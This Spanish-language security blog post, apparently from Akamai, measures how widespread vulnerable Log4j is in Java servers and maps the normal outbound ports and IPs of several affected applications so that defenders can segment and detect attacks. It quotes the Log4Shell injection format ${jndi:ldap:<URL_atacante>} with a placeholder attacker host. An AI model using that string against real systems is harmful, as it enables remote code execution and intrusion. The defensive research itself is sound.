Cuantificación del riesgo de Log4Shell: Vulnerabilidad a escala masiva
Todos los datos que envíe pueden ser y serán usados contra usted
La vulnerabilidad de Log4Shell ha llegado para quedarse. Hay muchas especulaciones sobre el alcance y el verdadero impacto de la vulnerabilidad: si bien muchos la han clasificado como "grave", la información de la que disponemos sobre el alcance del riesgo es limitada. Con el fin de aclarar el problema, Akamai Threat Labs utiliza su visibilidad con respecto a numerosos centros de datos de todo el mundo para evaluar el riesgo real que Log4Shell presenta para las organizaciones.
Resultados clave:
Dos tercios de todos los servidores de Java inspeccionados incluían una Log4j vulnerable
El 91 % de los centros de datos examinados ejecutan aplicaciones Java en el lado del servidor de Java; entre ellos, más del 40 % incluye servidores Java orientados a Internet
Si analizamos los patrones de comunicación saliente, la gran mayoría de las aplicaciones Java examinadas se comunican mediante pocos puertos
El análisis de los patrones de comunicación saliente puede ayudar a las organizaciones a detectar comportamientos anómalos y mitigar algunos de los riesgos que plantea Log4Shell
Si desea consultar un análisis más detallado de las tendencias de ataque de Log4Shell, obtenido gracias a la gran visibilidad de Akamai con respecto a la actividad online, consulte dicho tema en el blog de Akamai.
Introducción
Guardicore Segmentation de Akamai se utiliza en cientos de centros de datos de todo el mundo, lo que facilita a adopción y la visibilidad de la red a nivel de proceso. En pocas palabras, la visibilidad de la red a nivel de proceso nos permite ver todas las conexiones de red realizadas en la red y saber qué proceso inició la conexión en el recurso de origen, así como qué proceso la recibió en el recurso de destino.
La extensa implantación, junto con esta información única de cada proceso, nos permite estudiar los patrones de comunicación de red de los centros de datos y las redes en la nube, así como de todos sus perímetros. Con esta información, podemos obtener conclusiones sobre la magnitud completa del riesgo que supone Log4Shell en nuestras vidas digitales y lo que pueden hacer los profesionales de la seguridad de la red para limitarlo.
Esta publicación de blog se divide en dos partes. En la primera parte se trata la superficie de ataque de la organización, es decir, el grado de vulnerabilidad de Log4Shell de una organización. En la segunda parte se analizarán en más detalle algunas aplicaciones vulnerables que se utilizan de forma generalizada en entornos de producción y se describirán sus patrones de comunicación normales. Así, se proporciona a los defensores información que les ayudará a segmentar correctamente estas aplicaciones y a evitar que los ataques se completen con éxito.
Cuantificación del riesgo de Log4Shell
Para comprender la frecuencia del uso de Java en las organizaciones, hemos recopilado datos de más de 200 centros de datos diferentes de todo el mundo, de diversos sectores y dimensiones. En todos los centros de datos identificamos los servidores orientados a Internet, así como los servidores que ejecutan Java y aceptan conexiones de red. Tuvimos en cuenta tanto los procesos de Java (java.exe, java para Linux, javaw, etc.) como los procesos que cargan la máquina virtual de Java en su propia memoria.
Evaluación del riesgo: La prevalencia de Log4j en los centros de datos
Si bien abundan las especulaciones sobre la escala y el alcance de la vulnerabilidad, el análisis de los centros de datos nos permite utilizar datos para cuantificar el riesgo que representa la vulnerabilidad de Log4Shell.
El equipo encontró numerosos servidores vulnerables a los ataques de Log4Shell en los entornos examinados. De hecho, descubrimos que en estos entornos, un promedio de dos tercios de todos los servidores de Java incluían una Log4j vulnerable. En algunos entornos, más del 90 % de todas las máquinas Java eran vulnerables. Esta cifra es mucho más alta de lo que pensábamos originalmente y nos ofrece una visión general de lo extendida que puede estar la vulnerabilidad.
En otra prueba a menor escala, el equipo de investigación descubrió que el 100 % de los entornos examinados tenía al menos un servidor vulnerable a Log4Shell antes de la aplicación de parches, lo que indica el nivel de riesgo que existía en estos entornos antes de que se lanzara el parche. Una vez que se inicia la aplicación de parches, observamos que el número de entornos vulnerables disminuye. Sin embargo, es importante comprender que incluso un reducido número de servidores vulnerables en un entorno grande puede representar una superficie de ataque importante.
Los números anteriores reflejan el centro del problema. La popularidad de Log4j ha hecho que se extiende esta vulnerabilidad por la noche a una escala que pocas veces hemos presenciado. Puesto que casi dos tercios de todos los servidores de Java siguen siendo vulnerables, es necesario que los equipos de TI y seguridad trabajen arduamente para descubrir dónde se podría emplear la utilidad de registro y planificar la mitigación.
Los servidores de Java orientados a Internet representan un riesgo adicional
La vulnerabilidad de los servidores se agrava por su accesibilidad. Si bien ya solamente la vulnerabilidad es un motivo de preocupación, un servidor orientado a Internet representa un riesgo adicional porque podría utilizarse como vector de ataque para acceder a la red. Según se analizó en la investigación de Akamai sobre las tendencias de tráfico de Internet de Log4j, observamos que los atacantes compiten por aprovechar esta vulnerabilidad y en números sorprendentes.
En nuestra investigación, nos encontramos con que un alarmante 91 % de los centros de datos ejecuta aplicaciones Java en el lado del servidor. De este porcentaje, más del 40 % incluye servidores de Java orientados a Internet, lo que aumenta la complejidad de la historia. Los servidores orientados a Internet son un objetivo mucho más sencillo, ya que se puede acceder a ellos fácilmente desde el mundo exterior. En la siguiente sección de este blog, nos centraremos en las comunicaciones salientes de las aplicaciones Java y aportaremos algunas recomendaciones de mitigación para supervisar y proteger servidores orientados a Internet que ejecutan aplicaciones Java.
No obstante, tenga en cuenta que los centros de datos en los que todos los servidores de Java son internos (es decir, no están orientados a Internet) no se pueden considerar seguros. Aunque Log4Shell se ha considerado principalmente un medio para superar la seguridad de las redes, en algunos casos se ha mostrado cómo las aplicaciones Java que se ejecutan en servidores internos han recibido registros de servidores orientados a Internet y se han visto en peligro. Por lo tanto, Log4Shell se puede utilizar con tanta facilidad para el movimiento lateral como para la filtración inicial.
Mitigación asistida por datos
Log4Shell es especialmente potente cuando se utiliza para descargar y ejecutar una carga en el equipo destino desde una máquina remota controlada por un atacante. Para ello, el atacante introduce un mensaje de registro con el formato ${jndi:ldap:<URL_atacante>}, lo que activa una conexión desde el proceso de aplicación vulnerable a la URL integrada. El objeto remoto de Java se descarga y ejecuta en la memoria.
A partir de esta información, Akamai Threat Labs ha comenzado a asignar patrones de comunicación de asignación de servidores de Java y, específicamente, de varias aplicaciones vulnerables a Log4Shell. Comprender cómo los servidores y procesos de Java se comunican habitualmente proporciona a los profesionales de seguridad y de TI información esencial para detectar y mitigar anomalías en sus entornos, lo que finalmente detiene los ataques a Log4Shell y permite que la empresa siga funcionando con normalidad.
Asignación de la comunicación saliente: ¿Cómo se comunican los servidores de Java?
Para comprender cómo se comunican los servidores de Java con Internet, comenzamos por cuantificar el número de puertos TCP de destino que usan las aplicaciones Java para conectarse a Internet. Según nuestro análisis, la gran mayoría de los servidores orientados a Internet se comunican a través de muy pocos puertos (menos de diez).
Este dato hace hincapié en la importancia y los beneficios para la seguridad que supone limitar la comunicación saliente permitida desde los diferentes servidores y procesos de su centro de datos. Es decir, identificar la comunicación con un puerto de destino la primera vez, de un proceso que hasta ahora se ha comunicado a través de un conjunto específico de puertos, podría ayudar a identificar los intentos de ataque.
Continuamos con esta línea de análisis de forma más detallada para varias aplicaciones Java comunes.
Patrones de comunicación específicos de la aplicación
Gracias a la visibilidad a nivel de proceso exclusiva que caracteriza a Guardicore Segmentation de Akamai, Akamai Threat Labs puede recopilar información detallada sobre el comportamiento de aplicaciones específicas vulnerables a Log4Shell. Estos datos se pueden utilizar para estudiar los comportamientos normales de estos procesos, detectar anomalías y crear reglas de segmentación eficaces.
El equipo examinó los patrones de comunicación de cuatro aplicaciones vulnerables populares (indicamos entre paréntesis el proceso que activa el tráfico de red):
Elasticsearch: Motor de búsqueda de texto completo muy conocido con diferentes casos de uso (%elasticsearch%/bin/java)
Logstash: Canal de procesamiento de datos del lado del servidor que se emplea para la ingesta y transformación de datos (/usr/share/logstash/jdk/bin/java)
VMware vCenter: Plataforma de gestión para máquinas virtuales VMware y hosts ESXi (%\VMware\vCenter Server\%\bin\java.exe)
Agente Okta RADIUS: Agente utilizado para delegar la autenticación RADIUS a la solución de gestión de identidades Okta (okta-radius.exe)
Estas son las preguntas que queríamos responder:
¿A qué puertos de destino se conectan normalmente estas aplicaciones?
Concretamente, ¿a qué puertos se conectan estas aplicaciones si los destinos están en Internet?
Tras analizar los datos agregados de varios entornos de producción, conseguimos información única. Observamos que las aplicaciones tienen una cantidad muy limitada de puertos de destino de Internet:
Logstash |
Elasticsearch |
vCenter Server |
Agente Okta RADIUS |
|
Puertos salientes |
443 53 9200 9092 80 |
9300 443 53 9301 80 |
Gran cantidad de puertos |
80 443 |
Puertos de Internet |
443 |
443 80 |
9080 902 443 80 |
80 443 |
Sin embargo, no siempre basta con comprobar los puertos, ya que los atacantes pueden ocultar fácilmente su rastro cambiando los puertos utilizados para descargar la carga.
Para obtener conclusiones más útiles a partir de estos datos, necesitábamos examinar las direcciones IP de destino y así comprender qué se considera "actividad normal" en estos puertos. Ocultar el rastro de un ataque es mucho más difícil con direcciones IP: si un servidor se comunica solo con una dirección IP en Internet, el atacante tendría que obtener el control del servidor que hay detrás de esa IP para ejecutar sus cargas maliciosas desde allí. Por lo tanto, estudiar las IP de destino puede ser útil para la protección.
Con el análisis se obtiene un promedio de direcciones IP únicas a las que se conecta cada aplicación desde cada puerto. Un número bajo y constante de direcciones puede facilitar la prevención o detección. Es decir, si una aplicación "habla" con muy pocas direcciones IP, el resto de conexiones se pueden considerar sospechosas.
Hemos analizado las direcciones IP de destino únicas de los puertos 443 y 80 y hemos visto que, en casi todos los casos, el número de conexiones era bajo y estable:
Logstash |
Elasticsearch |
vCenter Server |
Agente Okta RADIUS |
||
Promedio de direcciones de Internet por puerto |
Puerto TCP 443 |
4.0 |
7.2 |
7.0 |
3.75 |
Puerto TCP 80 |
- |
2.0 |
1.3 |
- |
|
El hecho de que muchas aplicaciones vulnerables pueden tener patrones de conexión bastante limitados (con respecto a los puertos de destino y las direcciones IP de destino) se puede utilizar tanto para la reducción de la superficie de ataque como para la detección de ataques.
Conclusiones
La mitigación más recomendada para la vulnerabilidad Log4Shell es el uso de una versión con parche de la biblioteca. Sin embargo, como ya sabemos, la aplicación de parches no siempre es factible (o rápida) en entornos de producción.
Nuestros hallazgos sobre el comportamiento de la comunicación de diferentes aplicaciones vulnerables sugieren otro enfoque para reducir la superficie de ataque y detectar el ataque a Log4Shell (así como otros ataques).
Animamos a los administradores de red a estudiar los patrones de comunicación de las aplicaciones vulnerables y asignar sus conexiones salientes, tanto con respecto a las direcciones IP de destino como a los puertos de destino. Con esta información, los defensores pueden limitar estas conexiones al mínimo y permitir el tráfico solo en puertos de comunicación conocidos y estándar.
En aquellos casos en los que bloquear las conexiones no sea una opción, recomendamos supervisar las anomalías en las conexiones que se originan en servidores orientados a Internet, ya sea en puertos o direcciones IP nuevos. Los usuarios de Guardicore Segmentation de Akamai pueden utilizar información a nivel de proceso para mejorar la visibilidad de las diversas conexiones que realiza cada servidor. Nuestro equipo de búsqueda de amenazas investiga estos datos de forma proactiva para los clientes de Hunt.
Para obtener más información sobre cómo mitigar los ataques a Log4Shell, consulte nuestro blog: Mitigación de los ataques a Log4j con Guardicore Segmentation de Akamai.
